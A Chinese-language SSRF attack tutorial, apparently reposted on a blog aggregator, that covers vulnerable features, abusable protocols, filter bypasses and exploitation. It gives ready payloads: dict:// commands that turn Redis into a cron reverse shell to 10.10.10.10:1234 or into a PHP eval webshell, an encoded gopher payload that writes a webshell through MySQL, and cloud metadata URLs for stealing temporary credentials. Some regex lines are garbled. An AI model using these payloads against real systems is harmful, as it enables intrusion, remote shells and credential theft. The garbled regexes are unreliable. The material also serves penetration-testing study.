SSRF相关

SSRF(Server Side Request Forgery,服务器端请求伪造),攻击者以服务器的身份发送一条构造好的请求给服务器所在地内网进行探测或攻击。
产生原理:
服务器端提供了能从其他服务器应用获取数据的功能,如从指定url获取网页内容、加载指定地址的图片、数据、下载等。
例:http://xxx.com/api/readFiles?url=http://10.10.10.10/xxx

常见功能点、关键字、利用的协议
容易出现 SSRF 的功能点
一切要你输入网址的地方和可以输入ip的地方。有 URL 传参的功能点都有可能。
1、转码服务、在线翻译
● 示例 :翻译网页内容、HTML 转 PDF、内容格式转换等
2、图片加载与下载
● 示例:通过 URL 加载图片、下载远程图片、显示头像。
3、网页内容展示、分析
● 示例:通过URL地址进行网页分享、通过URL地址把原地址的网页转换格式
4、远程资源调用
● 示例:服务器根据 url 获取资源,如 js、css、图片等
5、富文本编辑器
● 示例: UEditor、TinyMCE 自动抓取粘贴内容中的远程图片。
6、 网站采集 / 抓取功能
● 示例:爬虫任务、网页快照、资讯聚合平台。
7、 内容打包与导出
● 示例:HTML转PDF、内容封装下载。
8、 头像功能
● 示例:通过第三方 URL 加载用户头像。
9、 内容收藏 / 收藏夹功能
● 示例:收藏文章、图片时后台请求原地址。
10、 存活检测 / URL健康检查
● 示例:检测目标设备是否在线、URL是否可访问。
常见 SSRF 功能点参数
从URL关键字中寻找:
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain
常见的利用协议
http 协议:可以直接访问 http 资源
http://www.test.com/readFiles?url=http://20.10.10.10/xxx.php

file 协议:读取文件
http://www.test.com/readFiles?url=file:///etc/passwd
/etc/passwd
/etc/shadow
/etc/hosts //有时候会存放内网地址(静态映射)
/proc/net/arp //arp缓存c存放位置,其中保存着最近通信过的设备的 IP 地址与 MAC 地址的映射关系
/proc/net/fibn_trie //存放网络适配器地址
得到了内网地址,可以使用http协议爆破网段内的其他内网地址,然后使用dict协议进行端口探测

dict 协议:探测开放端口、主机存活
http://www.test.com/readFiles?url=dict://1000.1.22
gopher 协议:支持 GET 和 POST 请求,可进行复杂漏洞利用

当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的协议:
● http://
● file:///
● dict://
● sftp://
● ldap://
● tftp://
● gopher://
http协议
直接访问资源,探测内网主机端口、探测内网主机存活、目录扫描
http://xxx.com/ssrf_curl.php?url=http://127.0.0.1:80/xxx.php
file协议
读取本地文件
http://xxx.com/ssrf_curl.php?url=file:///D:/tools/phpstudy/phpstudy_pro/WWW/name.php
file:///etc/passwd 读取文件passwd
file:///etc/hosts 显示当前操作系统网卡的IP
file:///proc/net/arp 显示arp缓存表(寻找内网其他主机)
file:///proc/net/fib _trie 显示当前网段路由信息
dict协议
泄露安装软件版本信息、扫描端口、获取内网信息、操作内网redis服、爆破密码等
dict执行多行命令时,只能一次执行单行,需要多次执行。
一、探测端口和服务指纹
dict://127.0.0.1:3306

二、dict攻击redis:写入定时任务,反弹shell
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs

//使用config set命令指定redis的dbfiename为root
dict://127.0.0.1:6379/config:set:dbfilename:root
//设置redis的dir为/var/spool/cron
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
//设置一个键值对,test为键名,后面为定时任务内容
dict://127.0.0.1:6379/set:test:“\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n”
//保存
dict://127.0.0.1:6379/save

三、dict攻击redis:写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:“\n\n<?php @eval($_POST[1]);?>\n\n”
dict://127.0.0.1:6379/save
gopher协议
发送GET或POST请求、攻击内网应用(redis、fastcgi、sql、smtp等)
基本格式:
gopher://ip:port/abcd
● 由于gopher请求不转发第一个字符,要使用下划线(
)或其他符号填充首位。
● 在gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行,数据流末尾使用%0d%0a代表消息结束

绕过
绕过特定限制
使用@绕过域名限制
一般用于 http://www.xxx.com 等域名不可修改的情况。
例如:http://www.xxx.com@127.0.0.1实际上访问的是 127.0.0.1
使用@绕过域名限制
403
GET /proxy?url=https:///10.10.10.10/ HTTP/1.1
Host: xxx.com
添加 @进行绕过
200
GET /proxy?url=https:///10.10.10.10@www.xxx.com/ HTTP/1.1
Host: xxx.com
成功访问到 vps:10.10.10.10
这里的 10.10.10.10可以是 vps,dnslog 等
使用/#/绕过后缀限制
一般用 png,jpg 等后缀不能更改
访问 http://10.10.10.10:5001/#/123.jpg
实际上访问的就是 http://10.10.10.10:5001

绕过请求 IP 不能为内网地址
DNS重绑定

攻击原理:
用户输入完url之后,服务器提取 url 中的host并进行dns解析为ip,然后判断ip是否在指定范围内,但是在判断得到的 ip 为指定范围内的ip,到服务器请求url这个过程中间存在一个细微的时间差。
DNS重绑定利用的就是这个时间差,让服务器第一次解析host的ip为符合的公网ip,在第二次请求解析 url时host的ip又变为不符合规则的内网ip,从而进行SSRF。
整个过程对于浏览器来说整个过程都是访问同一域名,因此认为是安全的,这就导致绕过。
可以直接使用 bp 进行并发。
在线利用网站:https://lock.cmpxchg8b.com/rebinder.html
TTL最理想的设置为0,即在第一次解析之后,立马换为我们想要访问的内网ip,但有些公共DNS服务器,比如 114.114.114.114还是会把记录进行缓存。
在某些情况下,我们甚至可以对同一个域名设置两个A记录(一个内网、一个外网),随机访问两条记录中的一个,就会有概率成功。
https://lock.cmpxchg8b.com/rebinder.html

最好在第一个填写公网地址,第二个填写内网地址。然后复制下面的url,拿到具有该漏洞的页面进行测试。例如:
http://deb7400b.7f000001.rbndr.us/flag.php

302 重定向
使用自己的vps进行重定向
使用自己搭建的vps进行重定向。
创建一个302.php文件,内容如下。

<?php header("Location: http://127.0.0.1"); exit(); ?>

如果是src,有的会给测试靶子,将ip替换即可
sudo.cc重定向
有一个sudo.cc的服务,当访问这个服务的时候,会自动重定向到127.0.0.1。
绕过时使用sudo.cc代替127.0.0.1即可。或者使用www.localtest.med代替
root@VM-8-8-ubuntu:/# ping sudo.cc -c 4
PING sudo.cc (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.036 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.034 ms
64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.033 ms

— sudo.cc ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3052ms
rtt min/avg/max/mdev = 0.026/0.032/0.036/0.003 ms
使用。代替.
http://127.0.0.1变成http://127。1。1。1,这里没有成功,
进制转换
将127.0.0.1转换成其他进制绕过检测
0177.0.0.1 //八进制
0x7f.0.0.1 //十六进制
2130706433 //十进制

127.0.0.1 点分十进制
0b01111111000000000000000000000001 二进制
017700000001 八进制
0x7F000001 十六进制
2130706433 十进制(连续)
0177.0000.0000.0001 点分八进制
0x7F.0x00.0x00.0x01 点分十六进制
0x7F.0.0.1 也可以只转一个
省略0
http://127.0.0.1变成http://127.1
root@VM-8-8-ubuntu:/# ping 127.1 -c 4
PING 127.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.033 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.038 ms

— 127.1 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3070ms
rtt min/avg/max/mdev = 0.028/0.033/0.038/0.003 ms
特殊0
在windows下,0代表0.0.0.0,在linux下,0代表127.0.0.1
C:\Users\40835>ping 0

正在 Ping 0.0.0.0 具有 32 字节的数据:
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。

0.0.0.0 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失),
root@VM-8-8-ubuntu:/# ping 0 -c 4
PING 0 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.033 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.038 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.030 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.032 ms

— 0 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3056ms
rtt min/avg/max/mdev = 0.030/0.033/0.038/0.003 ms
也可以尝试4位都写0:0.0.0.0
root@VM-8-8-ubuntu:/# ping 0.0.0.0 -c 4
PING 0.0.0.0 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.035 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.027 ms

— 0.0.0.0 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3073ms
rtt min/avg/max/mdev = 0.026/0.031/0.036/0.004 ms
ipv6表示法绕过
[0:0:0:0:0:ffff:127.0.0.1]是ipv6兼容ipv4的格式
http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php
本地回环地址绕过
整个 127.0.0.0/8都是回环地址,使用 127.0.0.2代替 127.0.0.1,或者其他都可以尝试。
短网址绕过
利用下面这个网站,生成指定网址的短网址
https://www.985.so/
封闭式字符集
127.0.0.1
转换成
①②⑦. ⓪.⓪.①

字符集
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com

List:

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳

⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇

⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛

⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵

Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ

ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ

⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴

⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
xip.io
10.10.10.10.xip.io会被解析成 10.10.10.10

自动化测试
常规正则匹配:
在AutoRepeater(burp 插件)中配置自动替换规则,将下面正则替换为你自己的 DNSLog 地址即可。
autoReapter中最好加入baseReplacement模块,其他模块没有反应。直接加入优化后的两个正则即可。
((https|http|file)😕/.)|((https|http|file)%3(a|A)%2(f|F)%2(f|F).)

优化正则匹配1:
(https?😕/(?:www.)?[-a-zA-Z0-9@:%.+#=]{1,256}.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()!@:%_+.#?&//=]*)|https?%3(a|A)%2(f|F)%2(f|F)(?:www.)?[-a-zA-Z0-9@:%.+#=]{1,256}.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()!@:%_+.#?&//=]))
(https?😕/(?:www.)?[-a-zA-Z0-9@:%._+#=]{1,256}.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()!@:%_+.#?&//=]
)|https?%3(a|A)%2(f|F)%2(f|F)(?:www.)?[-a-zA-Z0-9@:%._+#=]{1,256}.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()!@:%_+.#?&//=]*))

优化正则匹配2:
当传参中存在一个固定的相对路径,这个相对链接正常是拼接到当前域名的
POST xxx/test
xxxx
xxxx
data=[“/pic/getpicurl”]
这个目录实际上也是网站的目录,可以尝试使用@进行绕过,替换为[/pic/getpicurl@10.10.10.10]这种格式。
下面为匹配这种格式url的正则
((?:%2[fF][\w.-]+(?:%2[fF][\w.-]))(?:%3fF)?|(?😕[\w.-]+(?😕[\w.-]))(?:?([\w.%3D&=-]+))?)
((?:%2[fF][\w.-]+(?:%2[fF][\w.-]))(?:%3fF)?|(?😕[\w.-]+(?😕[\w.-]))(?:?([\w.%3D&=-]+))?)

流程
查看bp的dnslog是否收到请求,证明当前功能点可以对外发起请求
判断是否有回显
● 有回显
○ 如果是有ssrf靶子的src,直接替换成靶子的ip
○ 如果没有靶子,尝试dict协议探测127.0.0.1端口、内网ip、file协议读取敏感文件、http协议探测、gohper协议等等…
● 无回显
○ 如果有无回显的ssrf靶子,就替换成靶子的ip
○ 如果没有靶子,就使用自己的dnslog地址,使用dict协议,去探测端口,根据响应时长

利用
云上 SSRF 利用
ssrf探测src内网均失败,猜测为云服务器,于是探测元数据地址,成功回显
各大厂商的元数据地址 :
阿里云元数据地址:http://100.100.100.200/
腾讯云元数据地址:http://metadata.tencentyun.com/
华为云元数据地址:http://169.254.169.254/
亚马云元数据地址:http://169.254.169.254/
微软云元数据地址:http://169.254.169.254/
谷歌云元数据地址:http://metadata.google.internal/
将返回的base64解码,得到服务器数据,证明SSRF全回显。
腾讯云深度利用
访问元数据
http://metadata.tencentyun.com/latest/meta-data/ 获取 metadata 版本信息。

查询实例元数据。
http://metadata.tencentyun.com/latest/meta-data/placement/region

获取实例物理所在地信息。
http://metadata.tencentyun.com/latest/meta-data/local-ipv4

获取实例内⽹ IP。实例存在多张⽹卡时,返回 eth0 设备的⽹络地址。
http://metadata.tencentyun.com/latest/meta-data/public-ipv4

获取实例公⽹ IP。
http://metadata.tencentyun.com/network/interfaces/macs/${mac}/vpc-id

实例⽹络接⼝ VPC ⽹络 ID。
在获取到⻆⾊名称后,可以通过以下链接取⻆⾊的临时凭证,KaTeX parse error: Unexpected character: '' at position 86: …ta/cam/security̲credentials/{rolename}
如果配置cam的情况下,可以尝试获取用户凭证并接管。
阿里云深度利用
查看实例元数据的根目录
http://100.100.100.200/latest/meta-data

查看实例ID:
http://100.100.100.200/latest/meta-data/instance-id

访问RAM 角色的临时凭证:
http://100.100.100.200/latest/meta-data/ram/security-credentials/

获取AK SK信息
http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorpterraform-goat-role

打Redis
gopher打redis时,需要二次url编码。也可以使用gopherus

打MySQL
利用工具gopherus生成payload(需要python2环境):https://github.com/tarunkant/Gopherus

其中有时下划线后面的内容需要再url编码一次。
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%01%00%00%00%01

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2527%2501%2500%2500%2500%2501
其他
可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
攻击运行在内网或本地的应用程序
对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
下载内网资源(如:利用file协议读取本地文件等)
进行跳板
无视cdn
利用Redis未授权访问,HTTP CRLF注入实现getshell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/905259.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SaaS备份的必要性:厂商之外的数据保护策略

在当今数字化时代&#xff0c;企业对SaaS&#xff08;软件即服务&#xff09;应用的依赖程度不断攀升。SaaS应用为企业提供了便捷的生产力工具&#xff0c;然而&#xff0c;这也使得数据安全面临诸多挑战&#xff0c;如意外删除、勒索软件攻击以及供应商故障等。因此&#xff0…

【Python 基础语法】

Python 基础语法是编程的基石&#xff0c;以下从核心要素到实用技巧进行系统梳理&#xff1a; 一、代码结构规范 缩进规则 使用4个空格缩进&#xff08;PEP 8标准&#xff09;缩进定义代码块&#xff08;如函数、循环、条件语句&#xff09; def greet(name):if name: # 正确缩…

利用“Flower”实现联邦机器学习的实战指南

一个很尴尬的现状就是我们用于训练 AI 模型的数据快要用完了。所以我们在大量的使用合成数据&#xff01; 据估计&#xff0c;目前公开可用的高质量训练标记大约有 40 万亿到 90 万亿个&#xff0c;其中流行的 FineWeb 数据集包含 15 万亿个标记&#xff0c;仅限于英语。 作为…

自动化测试与功能测试详解

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 什么是自动化测试? 自动化测试是指利用软件测试工具自动实现全部或部分测试&#xff0c;它是软件测试的一个重要组成 部分&#xff0c;能完成许多手工测试无…

MySQL全量,增量备份与恢复

目录 一.MySQL数据库备份概述 1.数据备份的重要性 2.数据库备份类型 3.常见的备份方法 二&#xff1a;数据库完全备份操作 1.物理冷备份与恢复 2.mysqldump 备份与恢复 3.MySQL增量备份与恢复 3.1MySQL增量恢复 3.2MySQL备份案例 三&#xff1a;定制企业备份策略思路…

Ubuntu 安装 Nginx

Nginx 是一个高性能的 Web 服务器和反向代理服务器&#xff0c;同时也可以用作负载均衡器和 HTTP 缓存。 Nginx 的主要用途 用途说明Web服务器提供网页服务&#xff0c;处理用户的 HTTP 请求&#xff0c;返回 HTML、CSS、JS、图片等静态资源。反向代理服务器将用户请求转发到…

人工智能 机器学习期末考试题

自测试卷2 一、选择题 1&#xff0e;下面哪个属性不是NumPy中数组的属性&#xff08; &#xff09;。 A&#xff0e;ndim B&#xff0e;size C&#xff0e;shape D&#xff0e;add 2&#xff0e;一个简单的Series是由&#xff08; &#xff09;的数据组成的。 A&#xff0e;两…

使用阿里云CLI调用OpenAPI

介绍使用阿里云CLI调用OpenAPI的具体操作流程&#xff0c;包括安装、配置凭证、生成并调用命令等步骤。 方案概览 使用阿里云CLI调用OpenAPI&#xff0c;大致分为四个步骤&#xff1a; 安装阿里云CLI&#xff1a;根据您使用设备的操作系统&#xff0c;选择并安装相应的版本。…

K8S Svc Port-forward 访问方式

在 Kubernetes 中&#xff0c;kubectl port-forward 是一种 本地与集群内资源&#xff08;Pod/Service&#xff09;建立临时网络隧道 的访问方式&#xff0c;无需暴露服务到公网&#xff0c;适合开发调试、临时访问等场景。以下是详细使用方法及注意事项&#xff1a; 1. 基础用…

23、DeepSeek-V2论文笔记

DeepSeek-V2 1、背景2、KV缓存优化2.0 KV缓存&#xff08;Cache&#xff09;的核心原理2.1 KV缓存优化2.2 性能对比2.3 架构2.4多头注意力 &#xff08;MHA&#xff09;2.5 多头潜在注意力 &#xff08;MLA&#xff09;2.5.1 低秩键值联合压缩 &#xff08;Low-Rank Key-Value …

MySQL OCP试题解析(2)

试题如下图所示&#xff1a; 一、题目背景还原 假设存在以下MySQL用户权限配置&#xff1a; -- 创建本地会计用户CREATE USER accountinglocalhost IDENTIFIED BY acc_123;-- 创建匿名代理用户&#xff08;用户名为空&#xff0c;允许任意主机&#xff09;CREATE USER % IDENTI…

深度学习Y7周:YOLOv8训练自己数据集

&#x1f368; 本文为&#x1f517;365天深度学习训练营中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 一、配置环境 1.官网下载源码 2.安装需要环境 二、准备好自己的数据 目录结构&#xff1a; 主目录 data images&#xff08;存放图片&#xff09; annotati…

英伟达Blackwell架构重构未来:AI算力革命背后的技术逻辑与产业变革

——从芯片暴力美学到分布式智能体网络&#xff0c;解析英伟达如何定义AI基础设施新范式 开篇&#xff1a;当算力成为“新石油”&#xff0c;英伟达的“炼油厂”如何升级&#xff1f; 2025年3月&#xff0c;英伟达GTC大会上&#xff0c;黄仁勋身披标志性皮衣&#xff0c;宣布了…

CurrentHashMap的整体系统介绍及Java内存模型(JVM)介绍

当我们提到ConurrentHashMap时&#xff0c;先想到的就是HashMap不是线程安全的&#xff1a; 在多个线程共同操作HashMap时&#xff0c;会出现一个数据不一致的问题。 ConcurrentHashMap是HashMap的线程安全版本。 它通过在相应的方法上加锁&#xff0c;来保证多线程情况下的…

Android开发-设计规范

在Android应用开发中&#xff0c;遵循良好的设计规范不仅能够提升用户体验&#xff0c;还能确保代码的可维护性和扩展性。本文将从用户界面&#xff08;UI&#xff09;、用户体验&#xff08;UX&#xff09;、性能优化以及代码结构等多个维度探讨Android开发中的设计规范&#…

泛型加持的策略模式:打造高扩展的通用策略工具类

一、传统策略模式的痛点与突破 1.1 传统策略实现回顾 // 传统支付策略接口 public interface PaymentStrategy {void pay(BigDecimal amount); }// 具体策略实现 public class AlipayStrategy implements PaymentStrategy {public void pay(BigDecimal amount) { /* 支付宝支…

物联网从HomeAssistant开始

文章目录 一、什么是home-assistant?1.核心架构2.集成架构 二、在树梅派5上安装home-assistant三、接入米家1.对比下趋势2.手动安装插件3.配置方式 四、接入公牛1.手动安装插件2.配置方式 五、接入海尔1.手动安装插件2.配置方式 六、接入国家电网 一、什么是home-assistant? …

系统架构-嵌入式系统架构

原理与特征 嵌入式系统的典型架构可概括为两种模式&#xff0c;即层次化模式架构和递归模式架构 层次化模式架构&#xff0c;位于高层的抽象概念与低层的更加具体的概念之间存在着依赖关系&#xff0c;封闭型层次架构指的是&#xff0c;高层的对象只能调用同一层或下一层对象…

计算机图形学编程(使用OpenGL和C++)(第2版)学习笔记 09.天空和背景

天空和背景 对于 3D 场景&#xff0c;通常可以通过在远处的地平线附近创造一些逼真的效果&#xff0c;来增强其真实感。我们可以采用天空盒、天空柱&#xff08;Skydome&#xff09;或天空穹&#xff08;Skydome&#xff09;等技术来模拟天空。 天空盒 天空盒&#xff08;Sk…

【Leetcode 每日一题】1550. 存在连续三个奇数的数组

问题背景 给你一个整数数组 a r r arr arr&#xff0c;请你判断数组中是否存在连续三个元素都是奇数的情况&#xff1a;如果存在&#xff0c;请返回 t r u e true true&#xff1b;否则&#xff0c;返回 f a l s e false false。 数据约束 1 ≤ a r r . l e n g t h ≤ 10…